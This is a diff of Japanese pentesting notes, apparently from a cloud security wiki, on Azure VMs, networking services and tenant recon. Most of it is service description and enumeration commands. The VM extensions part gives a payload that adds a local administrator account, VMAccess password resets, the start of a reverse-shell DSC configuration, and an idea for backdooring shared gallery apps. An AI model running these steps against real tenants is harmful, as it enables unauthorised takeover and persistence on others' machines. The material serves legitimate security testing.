- **VM ディスク暗号化**: ディスクはデフォルトでプラットフォーム管理キーを使用して静止状態で暗号化されます。
- **ホストでの暗号化**を有効にすることも可能で、データはストレージサービスに送信する前にホストで暗号化され、ホストとストレージサービス間のエンドツーエンドの暗号化が保証されます ([**ドキュメント**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))
- **ホストでの暗号化**を有効にすることも可能で、データはストレージサービスに送信する前にホストで暗号化され、ホストとストレージサービス間のエンドツーエンドの暗号化が保証されます ([**ドキュメント**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **NIC ネットワークセキュリティグループ**:
- **なし**: 基本的にすべてのポートを開放します
- **基本**: HTTP (80)、HTTPS (443)、SSH (22)、RDP (3389) の受信ポートを簡単に開放できます
- **高度**: セキュリティグループを選択します
- **バックアップ**: **標準**バックアップ (1 日に 1 回) と **強化** (1 日に複数回) を有効にすることができます
- **パッチオーケストレーションオプション**: これは、選択したポリシーに従って VM に自動的にパッチを適用することを可能にします ([**ドキュメント**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching))
- **パッチオーケストレーションオプション**: これは、選択したポリシーに従って VM に自動的にパッチを適用することを可能にします ([**ドキュメント**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching)).
- **アラート**: VM で何かが発生したときに、メールやモバイルアプリで自動的にアラートを受け取ることができます。デフォルトのルール:
- CPU 使用率が 80% を超える
- 利用可能なメモリバイトが 1GB 未満
@@ -38,17 +38,17 @@ Azure 仮想マシン (VMs) は、柔軟でオンデマンドの **クラウド
- ネットワーク合計が 500GB を超える
- ネットワークアウト合計が 200GB を超える
- VmAvailabilityMetric が 1 未満
- **ヘルスモニター**: デフォルトではポート 80 HTTP プロトコルをチェックします
- **ロック**: VM をロックして、読み取り専用 (**ReadOnly** ロック) または読み取りと更新は可能だが削除はできない (**CanNotDelete** ロック) にすることができます。
- **ヘルスモニター**: デフォルトではポート 80 HTTP プロトコルをチェックします
- **ロック**: VM をロックして、読み取り専用 (**ReadOnly** ロック) または読み取りと更新は可能だが削除はできない (**CanNotDelete** ロック) 状態にすることができます。
- ほとんどの VM 関連リソース **もロックをサポート**しています (ディスク、スナップショットなど)。
- ロックは **リソースグループおよびサブスクリプションレベル**でも適用できます。
## ディスクとスナップショット
- **2 つ以上の VM にディスクをアタッチすることを有効にする**ことができます
- デフォルトではすべてのディスクは **プラットフォームキーで暗号化**されています。
- デフォルトではすべてのディスクは **プラットフォームキーで暗号化**されています。
- スナップショットでも同様です
- デフォルトでは **すべてのネットワークからディスクを共有**することが可能ですが、特定の **プライベートアクセス** のみに **制限**したり、 **公開およびプライベートアクセスを完全に無効に**することもできます。
- デフォルトでは**すべてのネットワークからディスクを共有する**ことが可能ですが、特定の **プライベートアクセス** のみに **制限**したり、**公開およびプライベートアクセスを完全に無効に**することもできます。
- スナップショットでも同様です
- **ディスクをエクスポートするための SAS URI** (最大 60 日間) を **生成する**ことができ、認証を要求するように構成することも可能です
- スナップショットでも同様です
@@ -64,7 +64,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List all disks
Get-AzDisk
@@ -79,7 +79,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
**VMイメージ**は、**新しい仮想マシンVM**を作成するために必要なオペレーティングシステム、アプリケーション設定、およびファイルシステムを含むテンプレートです。イメージとディスクスナップショットの違いは、ディスクスナップショットが単一の管理ディスクの読み取り専用の時点コピーであり、主にバックアップやトラブルシューティングに使用されるのに対し、イメージは**複数のディスクを含むことができ、新しいVMを作成するためのテンプレートとして機能するように設計されています**。\
イメージは、Azureの**イメージセクション**または**Azureコンピュートギャラリー**内で管理でき、これにより**バージョン**を生成したり、イメージをテナント間で**共有**したり、さらには公開することも可能です。
**復元ポイント**は、VMの構成と**時点**でのアプリケーション整合性のある**すべての管理ディスクのスナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。
**復元ポイント**は、VMの構成と、VMに接続されているすべての管理ディスクの**時点での**アプリケーション整合性のある**スナップショット**を保存します。これはVMに関連しており、その目的は特定の時点でのVMを復元できるようにすることです。
{{#tabs}}
{{#tab name="az cli"}}
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
@@ -148,9 +148,9 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Bastion
Azure Bastionは、Azureポータルまたはジャンプボックスを介して、仮想マシンVMへの安全でシームレスな**リモートデスクトッププロトコルRDP**および**セキュアシェルSSH**アクセスを可能にします。これにより、VMに対する**パブリックIPアドレスの必要性排除**ます。
Azure Bastionは、Azureポータルまたはジャンプボックスを介して、仮想マシンVMへの安全でシームレスな**リモートデスクトッププロトコルRDP**および**セキュアシェルSSH**アクセスを可能にします。これにより、VMに対するパブリックIPアドレスの必要性が**排除**されます。
Bastionは、必要なVNetに`AzureBastionSubnet`という名前のサブネットを`/26`のネットマスクでデプロイします。次に、ブラウザを使用して`RDP`および`SSH`介して内部VMに**接続**できるようにし、VMのポートをインターネットに公開することを避けます。また、**ジャンプホスト**としても機能します。
Bastionは、動作する必要があるVNet`AzureBastionSubnet`という名前のサブネットを`/26`のネットマスクでデプロイします。次に、`RDP`および`SSH`使用してブラウザ経由で内部VMに**接続**できるようにし、VMのポートをインターネットに公開することを避けます。また、**ジャンプホスト**としても機能します。
サブスクリプション内のすべてのAzure Bastionホストをリストし、それらを介してVMに接続するには、次のコマンドを使用できます。
@@ -180,7 +180,7 @@ az network bastion rdp \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List bastions
Get-AzBastion
```
@@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
az vm run-command list --output table
```
```powershell
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
@@ -431,7 +431,7 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
### VM 拡張機能
Azure VM 拡張機能は、Azure 仮想マシン (VM) 上で **デプロイ後の構成** と自動化タスクを提供する小さなアプリケーションです。
Azure VM 拡張機能は、Azure 仮想マシン (VM) 上で **デプロイ後の構成** と自動化タスクを提供する小さなアプリケーションです。
これにより、**VM 内で任意のコードを実行**することが可能になります。
@@ -450,14 +450,14 @@ az vm extension image list --publisher "Site24x7" --output table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
{{#endtab }}
{{#endtabs }}
カスタムコードを実行する**カスタム拡張機能を実行することが可能です**:
カスタムコードを実行する**カスタム拡張機能を実行することが可能です**
{{#tabs }}
{{#tab name="Linux" }}
@@ -523,7 +523,7 @@ az vm extension set \
他のペイロードを実行することもできます: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- VMAccess拡張機能を使用してパスワードをリセットする
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -540,7 +540,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>VMAccess 拡張機能</summary>
この拡張機能は、Windows VM 内のユーザーのパスワードを変更する(または存在しない場合は作成する)ことを可能にします。
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
これは、Azure Windows VMの構成を管理するためにPowerShell DSCを使用するMicrosoftの**VM拡張機能**です。したがって、この拡張機能を通じてWindows VMで**任意のコマンドを実行**するために使用できます:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -627,7 +627,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
> [!CAUTION]
> **個々のアプリやギャラリーを他のサブスクリプションやテナントと共有することが可能です**。これは非常に興味深いことで、攻撃者がアプリケーションにバックドアを仕掛け、他のサブスクリプションやテナントにピボットすることを可能にするかもしれません。
しかし、**vmアプリ用の「マーケットプレイス」は、拡張機能用のものとは異なり存在しません**。
しかし、**vmアプリ用の「マーケットプレイス」は、拡張機能用のものとは異なります**。
必要な権限は次のとおりです:

View File

@@ -16,13 +16,13 @@ Azure仮想ネットワークVNetは、クラウド内の自分のネッ
**例:**
- `MyVNet` のIPアドレス範囲は10.0.0.0/16。
- `MyVNet`のIPアドレス範囲は10.0.0.0/16。
- **サブネット-1:** ウェブサーバー用の10.0.0.0/24。
- **サブネット-2:** データベースサーバー用の10.0.1.0/24。
### 列挙
Azureアカウント内のすべてのVNetとサブネットをリストするには、AzureコマンドラインインターフェCLIを使用できます。手順は以下の通りです。
Azureアカウント内のすべてのVNetとサブネットをリストするには、AzureコマンドラインインターフェCLIを使用できます。手順は以下の通りです。
{{#tabs }}
{{#tab name="az cli" }}
@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VNets
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
@@ -49,14 +49,14 @@ Select-Object Name, AddressPrefix
## ネットワーク セキュリティ グループ (NSG)
**ネットワーク セキュリティ グループ (NSG)** は、Azure Virtual Network (VNet) 内のAzureリソースへのおよびAzureリソースからのネットワークトラフィックをフィルタリングします。これは、**受信および送信トラフィックのために開くべきポート**をソースポート、ソースIP、ポートの宛先によって示すことができる一連の**セキュリティルール**を含んでいます。また、優先度を割り当てることも可能です(優先度番号が低いほど、優先度が高くなります)。
**ネットワーク セキュリティ グループ (NSG)** は、Azure Virtual Network (VNet) 内の Azure リソースへのネットワーク トラフィックをフィルタリングします。これは、**受信および送信トラフィックのために開くべきポート**をソースポート、ソースIP、ポートの宛先によって示すことができる一連の **セキュリティ ルール** を含んでおり、優先度を割り当てることも可能です(優先度番号が低いほど、優先度が高くなります)。
NSG**サブネットおよびNICに関連付けることができます。**
NSG**サブネットおよび NIC に関連付けることができます。**
**ルールの例:**
- 任意のソースからあなたのウェブサーバーへのHTTPトラフィックポート80を許可する受信ルール。
- 特定の宛先IPアドレス範囲へのSQLトラフィックポート1433のみを許可する送信ルール。
- 任意のソースからあなたのウェブサーバーへの HTTP トラフィック (ポート 80) を許可する受信ルール。
- 特定の宛先 IP アドレス範囲への SQL トラフィック (ポート 1433) のみを許可する送信ルール。
### 列挙
@@ -75,7 +75,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List NSGs
Get-AzNetworkSecurityGroup | Select-Object Name, Location
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
@@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall
Azure Firewallは、クラウドリソースを保護するためにトラフィックを検査および制御する**管理されたネットワークセキュリティサービス**です。これは、**Azure内**(東西トラフィック)および**外部ネットワークとの間**(南北トラフィック)の通信をサポートし、レイヤー3から7のルールに基づいてトラフィックをフィルタリングする**ステートフルファイアウォール**です。**仮想ネットワークVNetレベル**で展開され、VNet内のすべてのサブネットに対して集中保護を提供します。Azure Firewallは、トラフィックの需要に応じて自動的にスケールし、手動設定を必要とせずに高可用性を確保します。
Azure Firewallは、クラウドリソースを保護するためにトラフィックを検査および制御する**管理されたネットワークセキュリティサービス**です。これは**ステートフルファイアウォール**であり、レイヤー3から7までのルールに基づいてトラフィックをフィルタリングし、**Azure内**(東西トラフィック)および**外部ネットワークとの間**(南北トラフィック)の通信をサポートしす。**仮想ネットワークVNetレベル**で展開され、VNet内のすべてのサブネットに対して集中保護を提供します。Azure Firewallは、トラフィックの需要に応じて自動的にスケールし、手動設定を必要とせずに高可用性を確保します。
これは、特定の顧客ニーズに合わせた3つのSKU—**Basic**、**Standard**、および**Premium**で利用可能です:
| **推奨使用ケース** | 限定的なニーズを持つ中小企業SMB | 一般的な企業利用、レイヤー37フィルタリング | 高度に機密性の高い環境(例:決済処理) |
| ---------------------------- | ------------------------------------------- | ------------------------------------------- | --------------------------------------------------- |
| **パフォーマンス** | 最大250 Mbpsのスループット | 最大30 Gbpsのスループット | 最大100 Gbpsのスループット |
| **脅威インテリジェンス** | アラートのみ | アラートとブロック悪意のあるIP/ドメイン) | アラートとブロック(高度な脅威インテリジェンス) |
| **L3L7フィルタリング** | 基本的なフィルタリング | プロトコル全体にわたるステートフルフィルタリング | 高度な検査を伴うステートフルフィルタリング |
| **高度な脅威保護** | 利用不可 | 脅威インテリジェンスに基づくフィルタリング | 侵入検知および防止システムIDPSを含む |
| **TLS検査** | 利用不可 | 利用不可 | インバウンド/アウトバウンドTLS終端をサポート |
| **可用性** | 固定バックエンド2つのVM | オートスケーリング | オートスケーリング |
| **管理の容易さ** | 基本的なコントロール | ファイアウォールマネージャー経由で管理 | ファイアウォールマネージャー経由で管理 |
| ---------------------------- | ------------------------------------------ | ------------------------------------------- | --------------------------------------------------- |
| **パフォーマンス** | 最大250 Mbpsのスループット | 最大30 Gbpsのスループット | 最大100 Gbpsのスループット |
| **脅威インテリジェンス** | アラートのみ | アラートとブロック悪意のあるIP/ドメイン) | アラートとブロック(高度な脅威インテリジェンス) |
| **L3L7フィルタリング** | 基本的なフィルタリング | プロトコル全体にわたるステートフルフィルタリング | 高度な検査を伴うステートフルフィルタリング |
| **高度な脅威保護** | 利用不可 | 脅威インテリジェンスに基づくフィルタリング | 侵入検知および防止システムIDPSを含む |
| **TLS検査** | 利用不可 | 利用不可 | インバウンド/アウトバウンドTLS終端をサポート |
| **可用性** | 固定バックエンド2つのVM | オートスケーリング | オートスケーリング |
| **管理の容易さ** | 基本的なコントロール | ファイアウォールマネージャー経由で管理 | ファイアウォールマネージャー経由で管理 |
### Enumeration
@@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Firewalls
Get-AzFirewall
@@ -142,9 +142,9 @@ Get-AzFirewall
## Azure ルートテーブル
Azure **ルートテーブル** は、サブネット内のネットワークトラフィックのルーティングを制御するために使用されます。これらは、パケットがどのように転送されるべきかを指定するルールを定義します。ルールは、Azure リソース、インターネット、または仮想アプライアンスや Azure ファイアウォールのような特定の次ホップに対して設定できます。ルートテーブルを **サブネット** に関連付けることができ、そのサブネット内のすべてのリソースはテーブル内のルートに従います。
Azure **ルートテーブル** は、サブネット内のネットワークトラフィックのルーティングを制御するために使用されます。これらは、パケットがどのように転送されるべきかを指定するルールを定義します。転送先は、Azure リソース、インターネット、または仮想アプライアンスや Azure ファイアウォールのような特定の次ホップす。ルートテーブルを **サブネット** に関連付けることができ、そのサブネット内のすべてのリソースはテーブル内のルートに従います。
**例:** サブネットが、検査のためにネットワーク仮想アプライアンス (NVA) を介して外向きトラフィックをルーティングする必要があるリソースをホストしている場合、ルートテーブルに **ルート** を作成して、すべてのトラフィック (例: `0.0.0.0/0`) を NVA のプライベート IP アドレスに次のホップとしてリダイレクトできます。
**例:** サブネットが、検査のためにネットワーク仮想アプライアンス (NVA) を介して外向きトラフィックをルーティングする必要があるリソースをホストしている場合、ルートテーブルに **ルート** を作成して、すべてのトラフィック (例: `0.0.0.0/0`) を次ホップとして NVA のプライベート IP アドレスにリダイレクトできます。
### **列挙**
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Route Tables
Get-AzRouteTable
@@ -171,7 +171,7 @@ Get-AzRouteTable
## Azure Private Link
Azure Private Linkは、**Azureサービスへのプライベートアクセスを可能にするAzureのサービス**であり、**Azure仮想ネットワークVNetとサービス間のトラフィックがMicrosoftのAzureバックボーンネットワーク内で完全に移動することを保証します**。これにより、サービスがVNetに取り込まれます。この設定は、データをパブリックインターネットにさらさないことでセキュリティを強化します。
Azure Private Linkは、**Azureサービスへのプライベートアクセスを可能にする**Azureのサービスであり、**Azure仮想ネットワークVNetとサービス間のトラフィックが完全にMicrosoftのAzureバックボーンネットワーク内移動することを保証します**。これにより、サービスがVNetに取り込まれます。この設定は、データをパブリックインターネットにさらさないことでセキュリティを強化します。
Private Linkは、Azure Storage、Azure SQL Database、Private Linkを介して共有されるカスタムサービスなど、さまざまなAzureサービスで使用できます。これは、自分のVNet内または異なるAzureサブスクリプションからサービスを消費するための安全な方法を提供します。
@@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -207,11 +207,11 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
## Azure Service Endpoints
Azure Service Endpointsは、仮想ネットワークのプライベートアドレス空間とVNetのアイデンティティを、直接接続を介してAzureサービスに拡張します。サービスエンドポイントを有効にすることで、**VNet内のリソースがAzureのバックボーンネットワークを使用してAzureサービスに安全に接続できるようになります**。これにより、**VNetからAzureサービスへのトラフィックがAzureネットワーク内に留まることが保証され**、より安全で信頼性の高い経路が提供されます。
Azure Service Endpointsは、仮想ネットワークのプライベートアドレス空間とVNetのアイデンティティを、直接接続を介してAzureサービスに拡張します。サービスエンドポイントを有効にすることで、**VNet内のリソースがAzureのバックボーンネットワークを使用してAzureサービス**Azure StorageやAzure SQL Databaseなどに安全に接続できるようになります。これにより、**VNetからAzureサービスへのトラフィックがAzureネットワーク内に留まることが保証され**、より安全で信頼性の高い経路が提供されます。
**例:**
たとえば、**Azure Storage**アカウントはデフォルトでパブリックインターネット経由でアクセス可能です。**VNet内でAzure Storageのサービスエンドポイントを有効にすることで**、VNetからのトラフィックのみがストレージアカウントにアクセスできるようにすることができます。ストレージアカウントのファイアウォールは、その後、VNetからのトラフィックのみを受け入れるように構成できます。
たとえば、**Azure Storage**アカウントはデフォルトでパブリックインターネット経由でアクセス可能です。VNet内で**Azure Storageのサービスエンドポイントを有効にすることで**、VNetからのトラフィックのみがストレージアカウントにアクセスできるようにすることができます。その後、ストレージアカウントのファイアウォールを設定して、VNetからのトラフィックのみを受け入れるようにできます。
### **Enumeration**
@@ -226,7 +226,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Virtual Networks with Service Endpoints
Get-AzVirtualNetwork
@@ -244,7 +244,7 @@ Microsoftは、[**docs**](https://learn.microsoft.com/en-us/azure/virtual-networ
**サービスエンドポイント:**
- VNetからAzureサービスへのトラフィックは、Microsoft Azureバックボーンネットワークを経由し、公共のインターネットをバイパスします。
- VNetからAzureサービスへのトラフィックは、Microsoft Azureバックボーンネットワークを経由し、公共のインターネットをバイパスします。
- エンドポイントはAzureサービスへの直接接続であり、VNet内のサービスにプライベートIPを提供しません。
- サービス自体は、サービスファイアウォールを設定してそのトラフィックをブロックしない限り、VNetの外部からその公共エンドポイントを介してアクセス可能です。
- サブネットとAzureサービスの間には一対一の関係があります。
@@ -258,13 +258,13 @@ Microsoftは、[**docs**](https://learn.microsoft.com/en-us/azure/virtual-networ
- AzureサービスやAzureにホストされている自分のサービスへの安全な接続を可能にし、他者が共有するサービスへの接続も提供します。
- サービスエンドポイントでのサブネットレベルの広範なアクセス制御に対して、VNet内のプライベートエンドポイントを介してより詳細なアクセス制御を提供します。
要約すると、サービスエンドポイントとプライベートリンクの両方がAzureサービスへの安全な接続を提供しますが、**プライベートリンクはサービスが公共のインターネットにさらされることなくプライベートにアクセスされることを保証することにより、より高いレベルの隔離とセキュリティを提供します**。一方、サービスエンドポイントは、VNet内にプライベートIPを必要とせず、Azureサービスへの一般的な簡単で安全なアクセス必要とする場合に設定が容易です。
要約すると、サービスエンドポイントとプライベートリンクの両方がAzureサービスへの安全な接続を提供しますが、**プライベートリンクはサービスが公共のインターネットにさらされることなくプライベートにアクセスされることを保証することにより、より高いレベルの隔離とセキュリティを提供します**。一方、サービスエンドポイントは、VNet内にプライベートIPを必要とせず、Azureサービスへのシンプルで安全なアクセス必要な一般的なケースに対して設定が容易です。
## Azure Front Door (AFD) & AFD WAF
**Azure Front Door**は、**グローバルなウェブアプリケーションの迅速な配信**のためのスケーラブルで安全なエントリーポイントです。これは、グローバルな**負荷分散、サイト加速、SSLオフロード、WebアプリケーションファイアウォールWAF**機能など、さまざまなサービスを単一のサービスに**統合**しています。Azure Front Doorは、**ユーザーに最も近いエッジロケーション**に基づいてインテリジェントなルーティングを提供し、最適なパフォーマンスと信頼性を確保します。さらに、URLベースのルーティング、複数サイトホスティング、セッションアフィニティ、アプリケーション層のセキュリティを提供します。
**Azure Front Door WAF**は、バックエンドコードを変更することなく、**ウェブベースの攻撃からウェブアプリケーションを保護する**ように設計されています。SQLインジェクション、クロスサイトスクリプティング、その他の一般的な攻撃に対する脅威から保護するためのカスタムルールと管理されたルールセットを含んでいます。
**Azure Front Door WAF**は、**バックエンドコードを変更することなくウェブアプリケーションをウェブベースの攻撃から保護する**ように設計されています。SQLインジェクション、クロスサイトスクリプティング、その他の一般的な攻撃に対する保護のためのカスタムルールと管理されたルールセットを含んでいます。
**例:**
@@ -283,7 +283,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Front Door Instances
Get-AzFrontDoor
@@ -295,11 +295,11 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
## Azure Application Gateway と Azure Application Gateway WAF
Azure Application Gateway は、**ウェブトラフィックのロードバランサー**であり、**ウェブ**アプリケーションへのトラフィックを管理することを可能にします。これは、アプリケーションデリバリーコントローラー (ADC) としてのサービスで、**レイヤー 7 ロードバランシング、SSL ターミネーション、およびウェブアプリケーションファイアウォール (WAF) 機能**を提供します。主な機能には、URL ベースのルーティング、クッキー ベースのセッションアフィニティ、およびセキュアソケットレイヤー (SSL) オフロードが含まれ、グローバルルーティングやパスベースのルーティングのような複雑なロードバランシング機能を必要とするアプリケーションにとって重要です。
Azure Application Gateway は、**ウェブトラフィックのロードバランサー**であり、**ウェブ**アプリケーションへのトラフィックを管理することを可能にします。これは、サービスとしてのアプリケーションデリバリーコントローラー (ADC) において、**レイヤー 7 ロードバランシング、SSL 終端、およびウェブアプリケーションファイアウォール (WAF) 機能**を提供します。主な機能には、URL ベースのルーティング、クッキー ベースのセッションアフィニティ、およびセキュアソケットレイヤー (SSL) オフロードが含まれ、グローバルルーティングやパスベースのルーティングのような複雑なロードバランシング機能を必要とするアプリケーションにとって重要です。
**例:**
複数のサブドメインを持つeコマースウェブサイトがあるシナリオを考えてみてください。これには、ユーザーアカウントや支払い処理などの異なる機能が含まれます。Azure Application Gateway は、**URL パスに基づいて適切なウェブサーバーにトラフィックをルーティング**できます。たとえば、`example.com/accounts` へのトラフィックはユーザーアカウントサービスに、`example.com/pay` へのトラフィックは支払い処理サービスに向けられる可能性があります。\
eコマースウェブサイトがあ、ユーザーアカウントや支払い処理などの異なる機能のために複数のサブドメインを含むシナリオを考えてみてください。Azure Application Gateway は、**URL パスに基づいて適切なウェブサーバーにトラフィックをルーティング**できます。たとえば、`example.com/accounts` へのトラフィックはユーザーアカウントサービスに、`example.com/pay` へのトラフィックは支払い処理サービスに向けられる可能性があります。\
そして、**WAF 機能を使用してウェブサイトを攻撃から保護します。**
### **列挙**
@@ -312,7 +312,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
```
@@ -322,15 +322,15 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
## Azure Hub, Spoke & VNet Peering
**VNet Peering**は、Azureのネットワーキング機能であり、**異なる仮想ネットワークVNetを直接かつシームレスに接続することを可能にします**。VNetピアリングを通じて、1つのVNet内のリソースは、**同じネットワークにいるかのように、別のVNet内のリソースとプライベートIPアドレスを使用して通信できます**。\
**VNetピアリングは、オンプレミスネットワークとも使用できます**サイト間VPNまたはAzure ExpressRouteを設定することで実現します
**VNetピアリングは、オンプレミスネットワークとも使用できサイト間VPNまたはAzure ExpressRouteを設定することができます**
**Azure Hub and Spoke**は、Azureでネットワークトラフィックを管理および整理するために使用されるネットワークトポロジーです。**「ハブ」は、異なる「スポーク」間のトラフィックを制御しルーティングする中央ポイントです**。ハブには通常、ネットワーク仮想アプライアンスNVA、Azure VPN Gateway、Azure Firewall、またはAzure Bastionなどの共有サービスが含まれています。**「スポーク」は、ワークロードをホストし、VNetピアリングを使用してハブに接続するVNetです**。これにより、ハブ内の共有サービスを活用できます。このモデルは、クリーンなネットワークレイアウトを促進し、異なるVNet間で複数のワークロードが使用できる共通サービスを集中化することで複雑さを軽減します。
> [!CAUTION] > **AzureにおけるVNETピアリングは非推移的です**。つまり、スポーク1がスポーク2に接続され、スポーク2がスポーク3に接続されている場合、スポーク1はスポーク3と直接通信できません。
> [!CAUTION] > **AzureにおけるVNETピアリングは非推移的であり**、スポーク1がスポーク2に接続され、スポーク2がスポーク3に接続されている場合、スポーク1はスポーク3と直接通信できません。
**例:**
販売、HR、開発などの別々の部門を持つ会社を想像してください。**それぞれが独自のVNetスポークを持っています**。これらのVNetは、**中央データベース、ファイアウォール、インターネットゲートウェイなどの共有リソースへのアクセスを必要とします**。これらはすべて**別のVNetハブ**にあります。ハブとスポークモデルを使用することで、各部門は**ハブVNetを通じて共有リソースに安全に接続でき、これらのリソースをパブリックインターネットにさらすことなく、複雑なネットワーク構造を作成することなく接続できます**。
営業、HR、開発などの別々の部門を持つ会社を想像してください。**各部門には独自のVNetスポークが存在します**。これらのVNetは、**中央データベース、ファイアウォール、インターネットゲートウェイなどの共有リソースへのアクセスを必要とします**。これらのリソースはすべて**別のVNetハブにあります**。ハブとスポークモデルを使用することで、各部門は**ハブVNetを介して共有リソースに安全に接続でき、これらのリソースをパブリックインターネットにさらすことなく、複雑なネットワーク構造を作成することなく接続できます**。
### Enumeration
@@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List all VNets in your subscription
Get-AzVirtualNetwork
@@ -363,11 +363,11 @@ Get-AzFirewall
## サイト間VPN
Azureのサイト間VPNは、**オンプレミスネットワークをAzure仮想ネットワークVNetに接続**することを可能にし、Azure内のVMなどのリソースがローカルネットワーク上にあるかのように見えるようにします。この接続は、**トラフィックを暗号化するVPNゲートウェイ**を通じて確立されます。
Azureのサイト間VPNは、**オンプレミスネットワークをAzure仮想ネットワークVNetに接続**することを可能にし、Azure内のVMなどのリソースがローカルネットワーク上にあるかのように表示されます。この接続は、**2つのネットワーク間のトラフィックを暗号化するVPNゲートウェイ**を通じて確立されます。
**例:**
ニューヨークに本社を置く企業、Azure内のVNetに安全に接続する必要があるオンプレミスデータセンターを持っています。ここでは仮想化されたワークロードホストされています。**サイト間VPNを設定することで、企業はオンプレミスサーバーとAzure VM間の暗号化された接続を確保でき、両方の環境でリソースに安全にアクセスできるようになります。**
ニューヨークに本社を置く企業、Azure内のVNetに安全に接続する必要があるオンプレミスデータセンターを持っています。このVNetは仮想化されたワークロードホストています。**サイト間VPNを設定することで、企業はオンプレミスサーバーとAzure VM間の暗号化された接続を確保でき、両方の環境でリソースに安全にアクセスできるようになります。**
### **列挙**
@@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List ExpressRoute Circuits
Get-AzExpressRouteCircuit
```

View File

@@ -17,7 +17,7 @@ APIに直接クエリするか、PowerShellライブラリ[**AADInternals**](htt
| login.microsoftonline.com/common/GetCredentialType | **デスクトップSSO情報**を含むログイン情報 | `Get-AADIntLoginInformation -UserName <UserName>` |
**AADInternals**ライブラリの**1つのコマンド**でAzureテナントのすべての情報をクエリできます
```powershell
```bash
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
Azureテナント情報の出力例:
@@ -34,9 +34,9 @@ company.mail.onmicrosoft.com True True True Managed
company.onmicrosoft.com True True True Managed
int.company.com False False False Managed
```
